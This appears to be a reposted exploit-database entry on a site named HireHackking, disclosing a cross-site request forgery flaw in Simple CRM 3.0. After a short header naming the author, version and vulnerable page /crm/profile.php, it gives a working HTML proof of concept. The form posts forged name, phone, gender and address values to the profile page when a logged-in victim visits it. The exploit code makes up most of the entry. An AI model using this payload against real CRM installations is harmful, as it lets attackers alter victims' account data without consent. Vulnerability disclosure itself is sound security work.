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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Simple CRM 3.0 - 'Change user information' Cross-Site Request Forgery (CSRF)
# Date: 20/06/2021
# Exploit Author: Riadh Benlamine (rbn0x00)
# Vendor Homepage: https://phpgurukul.com/
# Software Link:   https://phpgurukul.com/small-crm-php/
# Version: 3.0
# Category: Webapps
# Tested on: Apache2+MariaDB latest version
# Description : Simple CRM suffers from Cross-site request forgery, which the attacker can manipulate user data via triggering user to visit suspicious url

Vulnerable page: /crm/profile.php

POC:
----
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/crm/profile.php" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="name" value="test" />
      <input type="hidden" name="alt&#95;email" value="" />
      <input type="hidden" name="phone" value="0123456789" />
      <input type="hidden" name="gender" value="m" />
      <input type="hidden" name="address" value="jgjgjgjjggjcsrf" />
      <input type="hidden" name="update" value="Update" />
      <input type="submit" value="Exploit" />
    </form>
  </body>
</html>